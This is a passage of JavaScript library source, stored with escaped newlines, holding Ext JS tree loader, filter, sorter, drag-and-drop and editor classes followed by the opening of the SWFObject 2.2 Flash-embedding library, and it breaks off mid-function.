b = this.paramOrder;\n    h && (e[h] = g.id);\n    if (this.directFn) {\n        var c = [g.id];\n        if (b) {\n            if (h && b.indexOf(h) > -1) {\n                c = []\n            }\n            for (var d = 0, a = b.length; d < a; d++) {\n                c.push(e[b[d]])\n            }\n        } else {\n            if (this.paramsAsHash) {\n                c = [e]\n            }\n        }\n        return c\n    } else {\n        return e\n    }\n}, requestData:function (c, d, b) {\n    if (this.fireEvent(\"beforeload\", this, c, d) !== false) {\n        if (this.directFn) {\n            var a = this.getParams(c);\n            a.push(this.processDirectResponse.createDelegate(this, [\n                {callback:d, node:c, scope:b}\n            ], true));\n            this.directFn.apply(window, a)\n        } else {\n            this.transId = Ext.Ajax.request({method:this.requestMethod, url:this.dataUrl || this.url, success:this.handleResponse, failure:this.handleFailure, scope:this, argument:{callback:d, node:c, scope:b}, params:this.getParams(c)})\n        }\n    } else {\n        this.runCallback(d, b || c, [])\n    }\n}, processDirectResponse:function (a, b, c) {\n    if (b.status) {\n        this.handleResponse({responseData:Ext.isArray(a) ? a : null, responseText:a, argument:c})\n    } else {\n        this.handleFailure({argument:c})\n    }\n}, runCallback:function (a, c, b) {\n    if (Ext.isFunction(a)) {\n        a.apply(c, b)\n    }\n}, isLoading:function () {\n    return !!this.transId\n}, abort:function () {\n    if (this.isLoading()) {\n        Ext.Ajax.abort(this.transId)\n    }\n}, createNode:function (attr) {\n    if (this.baseAttrs) {\n        Ext.applyIf(attr, this.baseAttrs)\n    }\n    if (this.applyLoader !== false && !attr.loader) {\n        attr.loader = this\n    }\n    if (Ext.isString(attr.uiProvider)) {\n        attr.uiProvider = this.uiProviders[attr.uiProvider] || eval(attr.uiProvider)\n    }\n    if (attr.nodeType) {\n        return new Ext.tree.TreePanel.nodeTypes[attr.nodeType](attr)\n    } else {\n        return attr.leaf ? new Ext.tree.TreeNode(attr) : new Ext.tree.AsyncTreeNode(attr)\n    }\n}, processResponse:function (d, c, k, l) {\n    var m = d.responseText;\n    try {\n        var a = d.responseData || Ext.decode(m);\n        c.beginUpdate();\n        for (var g = 0, h = a.length; g < h; g++) {\n            var b = this.createNode(a[g]);\n            if (b) {\n                c.appendChild(b)\n            }\n        }\n        c.endUpdate();\n        this.runCallback(k, l || c, [c])\n    } catch (j) {\n        this.handleFailure(d)\n    }\n}, handleResponse:function (c) {\n    this.transId = false;\n    var b = c.argument;\n    this.processResponse(c, b.node, b.callback, b.scope);\n    this.fireEvent(\"load\", this, b.node, c)\n}, handleFailure:function (c) {\n    this.transId = false;\n    var b = c.argument;\n    this.fireEvent(\"loadexception\", this, b.node, c);\n    this.runCallback(b.callback, b.scope || b.node, [b.node])\n}, destroy:function () {\n    this.abort();\n    this.purgeListeners()\n}});\nExt.tree.TreeFilter = function (a, b) {\n    this.tree = a;\n    this.filtered = {};\n    Ext.apply(this, b)\n};\nExt.tree.TreeFilter.prototype = {clearBlank:false, reverse:false, autoClear:false, remove:false, filter:function (d, a, b) {\n    a = a || \"text\";\n    var c;\n    if (typeof d == \"string\") {\n        var e = d.length;\n        if (e == 0 && this.clearBlank) {\n            this.clear();\n            return\n        }\n        d = d.toLowerCase();\n        c = function (g) {\n            return g.attributes[a].substr(0, e).toLowerCase() == d\n        }\n    } else {\n        if (d.exec) {\n            c = function (g) {\n                return d.test(g.attributes[a])\n            }\n        } else {\n            throw\"Illegal filter type, must be string or regex\"\n        }\n    }\n    this.filterBy(c, null, b)\n}, filterBy:function (d, c, b) {\n    b = b || this.tree.root;\n    if (this.autoClear) {\n        this.clear()\n    }\n    var a = this.filtered, i = this.reverse;\n    var e = function (k) {\n        if (k == b) {\n            return true\n        }\n        if (a[k.id]) {\n            return false\n        }\n        var j = d.call(c || k, k);\n        if (!j || i) {\n            a[k.id] = k;\n            k.ui.hide();\n            return false\n        }\n        return true\n    };\n    b.cascade(e);\n    if (this.remove) {\n        for (var h in a) {\n            if (typeof h != \"function\") {\n                var g = a[h];\n                if (g && g.parentNode) {\n                    g.parentNode.removeChild(g)\n                }\n            }\n        }\n    }\n}, clear:function () {\n    var b = this.tree;\n    var a = this.filtered;\n    for (var d in a) {\n        if (typeof d != \"function\") {\n            var c = a[d];\n            if (c) {\n                c.ui.show()\n            }\n        }\n    }\n    this.filtered = {}\n}};\nExt.tree.TreeSorter = Ext.extend(Object, {constructor:function (a, c) {\n    Ext.apply(this, c);\n    a.on({scope:this, beforechildrenrendered:this.doSort, append:this.updateSort, insert:this.updateSort, textchange:this.updateSortParent});\n    var e = this.dir && this.dir.toLowerCase() == \"desc\", i = this.property || \"text\", d = this.sortType, h = this.folderSort, b = this.caseSensitive === true, g = this.leafAttr || \"leaf\";\n    if (Ext.isString(d)) {\n        d = Ext.data.SortTypes[d]\n    }\n    this.sortFn = function (o, m) {\n        var k = o.attributes, j = m.attributes;\n        if (h) {\n            if (k[g] && !j[g]) {\n                return 1\n            }\n            if (!k[g] && j[g]) {\n                return -1\n            }\n        }\n        var n = k[i], l = j[i], q = d ? d(n) : (b ? n : n.toUpperCase()), p = d ? d(l) : (b ? l : l.toUpperCase());\n        if (q < p) {\n            return e ? 1 : -1\n        } else {\n            if (q > p) {\n                return e ? -1 : 1\n            }\n        }\n        return 0\n    }\n}, doSort:function (a) {\n    a.sort(this.sortFn)\n}, updateSort:function (a, b) {\n    if (b.childrenRendered) {\n        this.doSort.defer(1, this, [b])\n    }\n}, updateSortParent:function (a) {\n    var b = a.parentNode;\n    if (b && b.childrenRendered) {\n        this.doSort.defer(1, this, [b])\n    }\n}});\nif (Ext.dd.DropZone) {\n    Ext.tree.TreeDropZone = function (a, b) {\n        this.allowParentInsert = b.allowParentInsert || false;\n        this.allowContainerDrop = b.allowContainerDrop || false;\n        this.appendOnly = b.appendOnly || false;\n        Ext.tree.TreeDropZone.superclass.constructor.call(this, a.getTreeEl(), b);\n        this.tree = a;\n        this.dragOverData = {};\n        this.lastInsertClass = \"x-tree-no-status\"\n    };\n    Ext.extend(Ext.tree.TreeDropZone, Ext.dd.DropZone, {ddGroup:\"TreeDD\", expandDelay:1000, expandNode:function (a) {\n        if (a.hasChildNodes() && !a.isExpanded()) {\n            a.expand(false, null, this.triggerCacheRefresh.createDelegate(this))\n        }\n    }, queueExpand:function (a) {\n        this.expandProcId = this.expandNode.defer(this.expandDelay, this, [a])\n    }, cancelExpand:function () {\n        if (this.expandProcId) {\n            clearTimeout(this.expandProcId);\n            this.expandProcId = false\n        }\n    }, isValidDropPoint:function (a, k, i, d, c) {\n        if (!a || !c) {\n            return false\n        }\n        var g = a.node;\n        var h = c.node;\n        if (!(g && g.isTarget && k)) {\n            return false\n        }\n        if (k == \"append\" && g.allowChildren === false) {\n            return false\n        }\n        if ((k == \"above\" || k == \"below\") && (g.parentNode && g.parentNode.allowChildren === false)) {\n            return false\n        }\n        if (h && (g == h || h.contains(g))) {\n            return false\n        }\n        var b = this.dragOverData;\n        b.tree = this.tree;\n        b.target = g;\n        b.data = c;\n        b.point = k;\n        b.source = i;\n        b.rawEvent = d;\n        b.dropNode = h;\n        b.cancel = false;\n        var j = this.tree.fireEvent(\"nodedragover\", b);\n        return b.cancel === false && j !== false\n    }, getDropPoint:function (h, g, l) {\n        var m = g.node;\n        if (m.isRoot) {\n            return m.allowChildren !== false ? \"append\" : false\n        }\n        var c = g.ddel;\n        var o = Ext.lib.Dom.getY(c), j = o + c.offsetHeight;\n        var i = Ext.lib.Event.getPageY(h);\n        var k = m.allowChildren === false || m.isLeaf();\n        if (this.appendOnly || m.parentNode.allowChildren === false) {\n            return k ? false : \"append\"\n        }\n        var d = false;\n        if (!this.allowParentInsert) {\n            d = m.hasChildNodes() && m.isExpanded()\n        }\n        var a = (j - o) / (k ? 2 : 3);\n        if (i >= o && i < (o + a)) {\n            return\"above\"\n        } else {\n            if (!d && (k || i >= j - a && i <= j)) {\n                return\"below\"\n            } else {\n                return\"append\"\n            }\n        }\n    }, onNodeEnter:function (d, a, c, b) {\n        this.cancelExpand()\n    }, onContainerOver:function (a, c, b) {\n        if (this.allowContainerDrop && this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode, node:this.tree.getRootNode()}, \"append\", a, c, b)) {\n            return this.dropAllowed\n        }\n        return this.dropNotAllowed\n    }, onNodeOver:function (b, i, h, g) {\n        var k = this.getDropPoint(h, b, i);\n        var c = b.node;\n        if (!this.expandProcId && k == \"append\" && c.hasChildNodes() && !b.node.isExpanded()) {\n            this.queueExpand(c)\n        } else {\n            if (k != \"append\") {\n                this.cancelExpand()\n            }\n        }\n        var d = this.dropNotAllowed;\n        if (this.isValidDropPoint(b, k, i, h, g)) {\n            if (k) {\n                var a = b.ddel;\n                var j;\n                if (k == \"above\") {\n                    d = b.node.isFirst() ? \"x-tree-drop-ok-above\" : \"x-tree-drop-ok-between\";\n                    j = \"x-tree-drag-insert-above\"\n                } else {\n                    if (k == \"below\") {\n                        d = b.node.isLast() ? \"x-tree-drop-ok-below\" : \"x-tree-drop-ok-between\";\n                        j = \"x-tree-drag-insert-below\"\n                    } else {\n                        d = \"x-tree-drop-ok-append\";\n                        j = \"x-tree-drag-append\"\n                    }\n                }\n                if (this.lastInsertClass != j) {\n                    Ext.fly(a).replaceClass(this.lastInsertClass, j);\n                    this.lastInsertClass = j\n                }\n            }\n        }\n        return d\n    }, onNodeOut:function (d, a, c, b) {\n        this.cancelExpand();\n        this.removeDropIndicators(d)\n    }, onNodeDrop:function (i, b, h, d) {\n        var a = this.getDropPoint(h, i, b);\n        var g = i.node;\n        g.ui.startDrop();\n        if (!this.isValidDropPoint(i, a, b, h, d)) {\n            g.ui.endDrop();\n            return false\n        }\n        var c = d.node || (b.getTreeNode ? b.getTreeNode(d, g, a, h) : null);\n        return this.processDrop(g, d, a, b, h, c)\n    }, onContainerDrop:function (a, g, c) {\n        if (this.allowContainerDrop && this.isValidDropPoint({ddel:this.tree.getRootNode().ui.elNode, node:this.tree.getRootNode()}, \"append\", a, g, c)) {\n            var d = this.tree.getRootNode();\n            d.ui.startDrop();\n            var b = c.node || (a.getTreeNode ? a.getTreeNode(c, d, \"append\", g) : null);\n            return this.processDrop(d, c, \"append\", a, g, b)\n        }\n        return false\n    }, processDrop:function (j, h, b, a, i, d) {\n        var g = {tree:this.tree, target:j, data:h, point:b, source:a, rawEvent:i, dropNode:d, cancel:!d, dropStatus:false};\n        var c = this.tree.fireEvent(\"beforenodedrop\", g);\n        if (c === false || g.cancel === true || !g.dropNode) {\n            j.ui.endDrop();\n            return g.dropStatus\n        }\n        j = g.target;\n        if (b == \"append\" && !j.isExpanded()) {\n            j.expand(false, null, function () {\n                this.completeDrop(g)\n            }.createDelegate(this))\n        } else {\n            this.completeDrop(g)\n        }\n        return true\n    }, completeDrop:function (h) {\n        var d = h.dropNode, e = h.point, c = h.target;\n        if (!Ext.isArray(d)) {\n            d = [d]\n        }\n        var g;\n        for (var b = 0, a = d.length; b < a; b++) {\n            g = d[b];\n            if (e == \"above\") {\n                c.parentNode.insertBefore(g, c)\n            } else {\n                if (e == \"below\") {\n                    c.parentNode.insertBefore(g, c.nextSibling)\n                } else {\n                    c.appendChild(g)\n                }\n            }\n        }\n        g.ui.focus();\n        if (Ext.enableFx && this.tree.hlDrop) {\n            g.ui.highlight()\n        }\n        c.ui.endDrop();\n        this.tree.fireEvent(\"nodedrop\", h)\n    }, afterNodeMoved:function (a, c, g, d, b) {\n        if (Ext.enableFx && this.tree.hlDrop) {\n            b.ui.focus();\n            b.ui.highlight()\n        }\n        this.tree.fireEvent(\"nodedrop\", this.tree, d, c, a, g)\n    }, getTree:function () {\n        return this.tree\n    }, removeDropIndicators:function (b) {\n        if (b && b.ddel) {\n            var a = b.ddel;\n            Ext.fly(a).removeClass([\"x-tree-drag-insert-above\", \"x-tree-drag-insert-below\", \"x-tree-drag-append\"]);\n            this.lastInsertClass = \"_noclass\"\n        }\n    }, beforeDragDrop:function (b, a, c) {\n        this.cancelExpand();\n        return true\n    }, afterRepair:function (a) {\n        if (a && Ext.enableFx) {\n            a.node.ui.highlight()\n        }\n        this.hideProxy()\n    }})\n}\nif (Ext.dd.DragZone) {\n    Ext.tree.TreeDragZone = function (a, b) {\n        Ext.tree.TreeDragZone.superclass.constructor.call(this, a.innerCt, b);\n        this.tree = a\n    };\n    Ext.extend(Ext.tree.TreeDragZone, Ext.dd.DragZone, {ddGroup:\"TreeDD\", onBeforeDrag:function (a, b) {\n        var c = a.node;\n        return c && c.draggable && !c.disabled\n    }, onInitDrag:function (b) {\n        var a = this.dragData;\n        this.tree.getSelectionModel().select(a.node);\n        this.tree.eventModel.disable();\n        this.proxy.update(\"\");\n        a.node.ui.appendDDGhost(this.proxy.ghost.dom);\n        this.tree.fireEvent(\"startdrag\", this.tree, a.node, b)\n    }, getRepairXY:function (b, a) {\n        return a.node.ui.getDDRepairXY()\n    }, onEndDrag:function (a, b) {\n        this.tree.eventModel.enable.defer(100, this.tree.eventModel);\n        this.tree.fireEvent(\"enddrag\", this.tree, a.node, b)\n    }, onValidDrop:function (a, b, c) {\n        this.tree.fireEvent(\"dragdrop\", this.tree, this.dragData.node, a, b);\n        this.hideProxy()\n    }, beforeInvalidDrop:function (a, c) {\n        var b = this.tree.getSelectionModel();\n        b.clearSelections();\n        b.select(this.dragData.node)\n    }, afterRepair:function () {\n        if (Ext.enableFx && this.tree.hlDrop) {\n            Ext.Element.fly(this.dragData.ddel).highlight(this.hlColor || \"c3daf9\")\n        }\n        this.dragging = false\n    }})\n}\nExt.tree.TreeEditor = function (a, c, b) {\n    c = c || {};\n    var d = c.events ? c : new Ext.form.TextField(c);\n    Ext.tree.TreeEditor.superclass.constructor.call(this, d, b);\n    this.tree = a;\n    if (!a.rendered) {\n        a.on(\"render\", this.initEditor, this)\n    } else {\n        this.initEditor(a)\n    }\n};\nExt.extend(Ext.tree.TreeEditor, Ext.Editor, {alignment:\"l-l\", autoSize:false, hideEl:false, cls:\"x-small-editor x-tree-editor\", shim:false, shadow:\"frame\", maxWidth:250, editDelay:350, initEditor:function (a) {\n    a.on({scope:this, beforeclick:this.beforeNodeClick, dblclick:this.onNodeDblClick});\n    this.on({scope:this, complete:this.updateNode, beforestartedit:this.fitToTree, specialkey:this.onSpecialKey});\n    this.on(\"startedit\", this.bindScroll, this, {delay:10})\n}, fitToTree:function (b, c) {\n    var e = this.tree.getTreeEl().dom, d = c.dom;\n    if (e.scrollLeft > d.offsetLeft) {\n        e.scrollLeft = d.offsetLeft\n    }\n    var a = Math.min(this.maxWidth, (e.clientWidth > 20 ? e.clientWidth : e.offsetWidth) - Math.max(0, d.offsetLeft - e.scrollLeft) - 5);\n    this.setSize(a, \"\")\n}, triggerEdit:function (a, c) {\n    this.completeEdit();\n    if (a.attributes.editable !== false) {\n        this.editNode = a;\n        if (this.tree.autoScroll) {\n            Ext.fly(a.ui.getEl()).scrollIntoView(this.tree.body)\n        }\n        var b = a.text || \"\";\n        if (!Ext.isGecko && Ext.isEmpty(a.text)) {\n            a.setText(\"&#160;\")\n        }\n        this.autoEditTimer = this.startEdit.defer(this.editDelay, this, [a.ui.textNode, b]);\n        return false\n    }\n}, bindScroll:function () {\n    this.tree.getTreeEl().on(\"scroll\", this.cancelEdit, this)\n}, beforeNodeClick:function (a, b) {\n    clearTimeout(this.autoEditTimer);\n    if (this.tree.getSelectionModel().isSelected(a)) {\n        b.stopEvent();\n        return this.triggerEdit(a)\n    }\n}, onNodeDblClick:function (a, b) {\n    clearTimeout(this.autoEditTimer)\n}, updateNode:function (a, b) {\n    this.tree.getTreeEl().un(\"scroll\", this.cancelEdit, this);\n    this.editNode.setText(b)\n}, onHide:function () {\n    Ext.tree.TreeEditor.superclass.onHide.call(this);\n    if (this.editNode) {\n        this.editNode.ui.focus.defer(50, this.editNode.ui)\n    }\n}, onSpecialKey:function (c, b) {\n    var a = b.getKey();\n    if (a == b.ESC) {\n        b.stopEvent();\n        this.cancelEdit()\n    } else {\n        if (a == b.ENTER && !b.hasModifier()) {\n            b.stopEvent();\n            this.completeEdit()\n        }\n    }\n}, onDestroy:function () {\n    clearTimeout(this.autoEditTimer);\n    Ext.tree.TreeEditor.superclass.onDestroy.call(this);\n    var a = this.tree;\n    a.un(\"beforeclick\", this.beforeNodeClick, this);\n    a.un(\"dblclick\", this.onNodeDblClick, this)\n}});\n/* SWFObject v2.2 <http://code.google.com/p/swfobject/> \n is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> \n */\nvar swfobject = function () {\n    var E = \"undefined\", s = \"object\", T = \"Shockwave Flash\", X = \"ShockwaveFlash.ShockwaveFlash\", r = \"application/x-shockwave-flash\", S = \"SWFObjectExprInst\", y = \"onreadystatechange\", P = window, k = document, u = navigator, U = false, V = [i], p = [], O = [], J = [], m, R, F, C, K = false, a = false, o, H, n = true, N = function () {\n        var ab = typeof k.getElementById != E && typeof k.getElementsByTagName != E && typeof k.createElement != E, ai = u.userAgent.toLowerCase(), Z = u.platform.toLowerCase(), af = Z ? (/win/).test(Z) : /win/.test(ai), ad = Z ? (/mac/).test(Z) : /mac/.test(ai), ag = /webkit/.test(ai) ? parseFloat(ai.replace(/^.*webkit\\/(\\d+(\\.\\d+)?).*$/, \"$1\")) : false, Y = !+\"\\v1\", ah = [0, 0, 0], ac = null;\n        if (typeof u.plugins != E && typeof u.plugins[T] == s) {\n            ac = u.plugins[T].description;\n            if (ac && !(typeof u.mimeTypes != E && u.mimeTypes[r] && !u.mimeTypes[r].enabledPlugin)) {\n                U = true;\n                Y = false;\n                ac = ac.replace(/^.*\\s+(\\S+\\s+\\S+$)/, \"$1\");\n                ah[0] = parseInt(ac.replace(/^(.*)\\..*$/, \"$1\"), 10);\n                ah[1] = parseInt(ac.replace(/^.*\\.(.*)\\s.*$/, \"$1\"), 10);\n                ah[2] = /[a-zA-Z]/.test(ac) ? parseInt(ac.replace(/^.*[a-zA-Z]+(.*)$/, \"$1\"), 10) : 0\n            }\n        } else {\n            if (typeof P.ActiveXObject != E) {\n                try {\n                    var ae = new ActiveXObject(X);\n                    if (ae) {\n                        ac = ae.GetVariable(\"$version\");\n                        if (ac) {\n                            Y = true;\n                            ac = ac.split(\" \")[1].split(\",\");\n                            ah = [parseInt(ac[0], 10), parseInt(ac[1], 10), parseInt(ac[2], 10)]\n                        }\n                    }\n                } catch (aa) {\n                }\n            }\n        }\n        return{w3:ab, pv:ah, wk:ag, ie:Y, win:af, mac:ad}\n    }(), l = function () {\n        if (!N.w3) {\n            return\n        }\n        if ((typeof k.readyState != E && k.readyState == \"complete\") || (typeof k.readyState == E && (k.getElementsByTagName(\"body\")[0] || k.body))) {\n            g()\n        }\n        if (!K) {\n            if (typeof k.addEventListener != E) {\n                k.addEventListener(\"DOMContentLoaded\", g, false)\n            }\n            if (N.ie && N.win) {\n                k.attachEvent(y, function () {\n                    if (k.readyState == \"complete\") {\n                        k.detachEvent(y, arguments.callee);\n                        g()\n                    }\n                });\n                if (P == top) {\n                    (function () {\n                        if (K) {\n                            return\n                        }\n                        try {\n                            k.documentElement.doScroll(\"left\")\n                        } catch (Y) {\n                            setTimeout(arguments.callee, 0);\n                            return\n                        }\n                        g()\n                    })()\n                }\n            }\n            if (N.wk) {\n                (function () {\n                    if (K) {\n                        return\n                    }\n                    if (!(/loaded|complete/).test(k.readyState)) {\n                        setTimeout(arguments.callee, 0);\n                        return\n                    }\n                    g()\n                })()\n            }\n            t(g)\n        }\n    }();\n\n    function g() {\n        if (K) {\n            return\n        }\n        try {\n            var aa = k.getElementsByTagName(\"body\")[0].appendChild(D(\"span\"));\n            aa.parentNode.removeChild(aa)\n        } catch (ab) {\n            return\n        }\n        K = true;\n        var Y = V.length;\n        for (var Z = 0; Z < Y; Z++) {\n            V[Z]()\n        }\n    }\n\n    function L(Y) {\n        if (K) {\n            Y()\n        } else {\n            V[V.length] = Y\n        }\n    }\n\n    function t(Z) {\n        if (typeof P.addEventListener != E) {\n            P.addEventListener(\"load\", Z, false)\n        } else {\n            if (typeof k.addEventListener != E) {\n                k.addEventListener(\"load\", Z, false)\n            } else {\n                if (typeof P.attachEvent != E) {\n                    j(P, \"onload\", Z)\n                } else {\n                    if (typeof P.onload == \"function\") {\n                        var Y = P.onload;\n                        P.onload = function () {\n                            Y();\n                            Z()\n                        }\n                    } else {\n                        P.onload = Z\n                    }\n                }\n            }\n        }\n    }\n\n    function i() {\n        if (U) {\n            W()\n        } else {\n            I()\n        }\n    }\n\n    function W() {\n        var Y = k.getElementsByTagName(\"body\")[0];\n        var ab = D(s);\n        ab.setAttribute(\"type\", r);\n        var aa = Y.appendChild(ab);\n        if (aa) {\n            var Z = 0;\n            (function () {\n                if (typeof aa.GetVariable != E) {\n                    var ac = aa.GetVariable(\"$version\");\n                    if (ac) {\n                        ac = ac.split(\" \")[1].split(\",\");\n                        N.pv = [parseInt(ac[0], 10), parseInt(ac[1], 10), parseInt(ac[2], 10)]\n                    }\n                } else {\n                    if (Z < 10) {\n                        Z++;\n                        setTimeout(arguments.callee, 10);\n                        return\n                    }\n                }\n                Y.removeChild(ab);\n                aa = null;\n                I()\n            })()\n        } else {\n            I()\n        }\n    }\n\n    function I() {\n        var ah = p.length;\n        if (ah > 0) {\n            for (var ag = 0; ag < ah; ag++) {\n                var Z = p[ag].id;\n                var ac = p[ag].callbackFn;\n                var ab = {success:false, id:Z};\n                if (N.pv[0] > 0) {\n                    var af = c(Z);\n                    if (af) {\n                        if (G(p[ag].swfVersion) && !(N.wk && N.wk < 312)) {\n                            x(Z, true);\n                            if (ac) {\n                                ab.success = true;\n                                ab.ref = A(Z);\n                                ac(ab)\n                            }\n                        } else {\n                            if (p[ag].expressInstall && B()) {\n                                var aj = {};\n                                aj.data = p[ag].expressInstall;\n                                aj.width = af.getAttribute(\"width\") || \"0\";\n                                aj.height = af.getAttribute(\"height\") || \"0\";\n                                if (af.getAttribute(\"class\")) {\n                                    aj.styleclass = af.getAttribute(\"class\")\n                                }\n                                if (af.getAttribute(\"align\")) {\n                                    aj.align = af.getAttribute(\"align\")\n                                }\n                                var ai = {};\n                                var Y = af.getElementsByTagName(\"param\");\n                                var ad = Y.length;\n                                for (var ae = 0; ae < ad; ae++) {\n                                    if (Y[ae].getAttribute(\"name\").toLowerCase() != \"movie\") {\n                                        ai[Y[ae].getAttribute(\"name\")] = Y[ae].getAttribute(\"value\")\n                                    }\n                                }\n                                Q(aj, ai, Z, ac)\n                            } else {\n                                q(af);\n                                if (ac) {\n                                    ac(ab)\n                                }\n                            }\n                        }\n                    }\n                } else {\n                    x(Z, true);\n                    if (ac) {\n                        var aa = A(Z);\n                        if (aa && typeof aa.SetVariable != E) {\n                            ab.success = true;\n                            ab.ref = aa\n                        }\n                        ac(ab)\n                    }\n                }\n            }\n        }\n    }\n\n    function A(ab) {\n        var Y = null;\n        var Z = c(ab);\n        if (Z && Z.nodeName == \"OBJECT\") {\n            if (typeof Z.SetVariable != E) {\n                Y = Z\n            } else {\n                var aa = Z.getElementsByTagName(s)[0];\n                if (aa) {\n                    Y = aa\n                }\n            }\n        }\n        return Y\n    }\n\n    function B() {\n        return !a && G(\"6.0.65\") && (N.win || N.mac) && !(N.wk && N.wk < 312)\n    }\n\n    function Q(ab, ac, Y, aa) {\n        a = true;\n        F = aa || null;\n        C = {success:false, id:Y};\n        var af = c(Y);\n        if (af) {\n            if (af.nodeName == \"OBJECT\") {\n                m = h(af);\n                R = null\n            } else {\n                m = af;\n                R = Y\n            }\n            ab.id = S;\n            if (typeof ab.width == E || (!(/%$/).test(ab.width) && parseInt(ab.width, 10) < 310)) {\n                ab.width = \"310\"\n            }\n            if (typeof ab.height == E || (!(/%$/).test(ab.height) && parseInt(ab.height, 10) < 137)) {\n                ab.height = \"137\"\n            }\n            k.title = k.title.slice(0, 47) + \" - Flash Player Installation\";\n            var ae = N.ie && N.win ? \"ActiveX\" : \"PlugIn\", ad = \"MMredirectURL=\" + P.location.toString().replace(/&/g, \"%26\") + \"&MMplayerType=\" + ae + \"&MMdoctitle=\" + k.title;\n            if (typeof ac.flashvars != E) {\n                ac.flashvars += \"&\" + ad\n            } else {\n                ac.flashvars = ad\n            }\n            if (N.ie && N.win && af.readyState != 4) {\n                var Z = D(\"div\");\n                Y += \"SWFObjectNew\";\n                Z.setAttribute(\"id\", Y);\n                af.parentNode.insertBefore(Z, af);\n                af.style.display = \"none\";\n                (function () {\n                    if (af.readyState == 4) {\n                        af.parentNode.removeChild(af)\n                    } else {\n                        setTimeout(arguments.callee, 10)\n                    }\n                })()\n            }\n            v(ab, ac, Y)\n        }\n    }\n\n    function q(Z) {\n        if (N.ie && N.win && Z.readyState != 4) {\n            var Y = D(\"div\");\n            Z.parentNode.insertBefore(Y, Z);\n            Y.parentNode.replaceChild(h(Z), Y);\n            Z.style.display = \"none\";\n            (function () {\n                if (Z.readyState == 4) {\n                    Z.parentNode.removeChild(Z)\n                } else {\n                    setTimeout(arguments.callee, 10)\n                }\n            })()\n        } else {\n            Z.parentNode.replaceChild(h(Z), Z)\n        }\n    }\n\n    function h(ad) {\n        var ab = D(\"div\");\n        if (N.win && N.ie) {\n            ab.innerHTML = ad.innerHTML\n        } else {\n            var Z = ad.getElementsByTagName(s)[0];\n            if (Z) {\n                var ae = Z.childNodes;\n                if (ae) {\n                    var Y = ae.length;\n                    for (var aa = 0; aa < Y; aa++) {\n                        if (!(ae[aa].nodeType == 1 && ae[aa].nodeName == \"PARAM\") && !(ae[aa].nodeType == 8)) {\n                            ab.appendChild(ae[aa].cloneNode(true))\n                        }\n                    }\n                }\n            }\n        }\n        return ab\n    }\n\n    function v(aj, ah, Z) {\n        var Y, ab = c(Z);\n        if (N.wk && N.wk < 312) {\n            return Y\n        }\n        if (ab) {\n            if (typeof aj.id == E) {\n                aj.id = Z\n            }\n            if (N.ie && N.win) {\n                var ai = \"\";\n                for (var af in aj) {\n                    if (aj[af] != Object.prototype[af]) {\n                        if (af.toLowerCase() == \"data\") {\n                            ah.movie = aj[af]\n                        } else {\n                            if (af.toLowerCase() == \"styleclass\") {\n                                ai += ' class=\"' + aj[af] + '\"'\n                            } else {\n                                if (af.toLowerCase() != \"classid\") {\n                                    ai += \" \" + af + '=\"' + aj[af] + '\"'\n                                }\n                            }\n                        }\n                    }\n                }\n                var ag = \"\";\n                for (var ae in ah) {\n                    if (ah[ae] != Object.prototype[ae]) {\n                        ag += '<param name=\"' + ae + '\" value=\"' + ah[ae] + '\" />'\n                    }\n                }\n                ab.outerHTML = '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"' + ai + \">\" + ag + \"</object>\";\n                O[O.length] = aj.id;\n                Y = c(aj.id)\n            } else {\n                var aa = D(s);\n                aa.setAttribute(\"type\", r);\n                for (var ad in aj) {\n                    if (aj[ad] != Object.prototype[ad]) {\n                        if (ad.toLowerCase() == \"styleclass\") {\n                            aa.setAttribute(\"class\", aj[ad])\n                        } else {\n                            if (ad.toLowerCase() != \"classid\") {\n                                aa.setAttribute(ad, aj[ad])\n                            }\n                        }\n                    }\n                }\n                for (var ac in ah) {\n                    if (ah[ac] != Object.prototype[ac] && ac.toLowerCase() != \"movie\") {\n                        e(aa, ac, ah[ac])\n                    }\n                }\n                ab.parentNode.replaceChild(aa, ab);\n                Y = aa\n            }\n        }\n        return Y\n    }\n\n    function e(aa, Y, Z) {\n        var ab = D(\"param\");\n        ab.setAttribute(\"name\", Y);\n        ab.setAttribute(\"value\", Z);\n        aa.appendChild(ab)\n    }\n\n    function z(Z) {\n        var Y = c(Z);\n        if (Y && Y.nodeName == \"OBJECT\") {\n            if (N.ie && N.win) {\n                Y.style.display = \"none\";\n                (function () {\n                    if (Y.readyState == 4) {\n                        b(Z)\n                    } else {\n                        setTimeout(arguments.callee, 10)\n                    }\n                })()\n            } else {\n                Y.parentNode.removeChild(Y)\n            }\n        }\n    }\n\n    function b(aa) {\n        var Z = c(aa);\n        if (Z) {\n            for (var Y in Z) {\n                if (typeof Z[Y] == \"function\") {\n                    Z[Y] = null\n                }\n            }\n            Z.parentNode.removeChild(Z)\n        }\n    }\n\n    function c(aa) {\n        var Y = null;\n        try {\n            Y = k.getElementById(aa)\n        } catch (Z) {\n        }\n        return Y\n    }\n\n    function D(Y) {\n        return k.createElement(Y)\n    }\n\n    function j(aa, Y, Z) {\n        aa.attachEvent(Y, Z);\n        J[J.length] = [aa, Y, Z]\n    }\n\n    function G(aa) {\n        var Z = N.pv, Y = aa.split(\".\");\n        Y[0] = parseInt(Y[0], 10);\n        Y[1] = parseInt(Y[1], 10) || 0;\n        Y[2] = parseInt(Y[2], 10) || 0;\n        return(Z[0] > Y[0] || (Z[0] == Y[0] && Z[1] > Y[1]) || (Z[0] == Y[0] && Z[1] == Y[1] && Z[2] >= Y[2])) ? true : false\n    }\n\n    function w(ad, Z, ae, ac) {\n        if (N.ie && N.mac) {\n            return\n        }\n        var ab = k.getElementsByTagName(\"head\")[0];\n        if (!ab) {\n            return\n        }\n        var Y = (ae && typeof ae == \"string\") ? ae : \"screen\";\n        if (ac) {\n            o = null;\n            H = null\n        }\n        if (!o || H != Y) {\n            var aa = D(\"style\");\n            aa.setAttribute(\"type\", \"text/css\");\n            aa.setAttribute(\"media\", Y);\n            o = ab.appendChild(aa);\n            if (N.ie && N.win && typeof k.styleSheets != E && k.styleSheets.length > 0) {\n                o = k.styleSheets[k.styleSheets.length - 1]\n            }\n            H = Y\n        }\n        if (N.ie && N.win) {\n            if (o && typeof o.addRule == s) {\n                o.addRule(ad, Z)\n            }\n        } else {\n            if (o && typeof k.createTextNode != E) {\n                o.appendChild(k.createTextNode(ad + \" {\" + Z + \"}\"))\n            }\n        }\n    }\n\n    function x(aa, Y) {\n        if (!n) {\n            return\n        }\n        var Z = Y ? \"visible\" : \"hidden\";\n        if (K 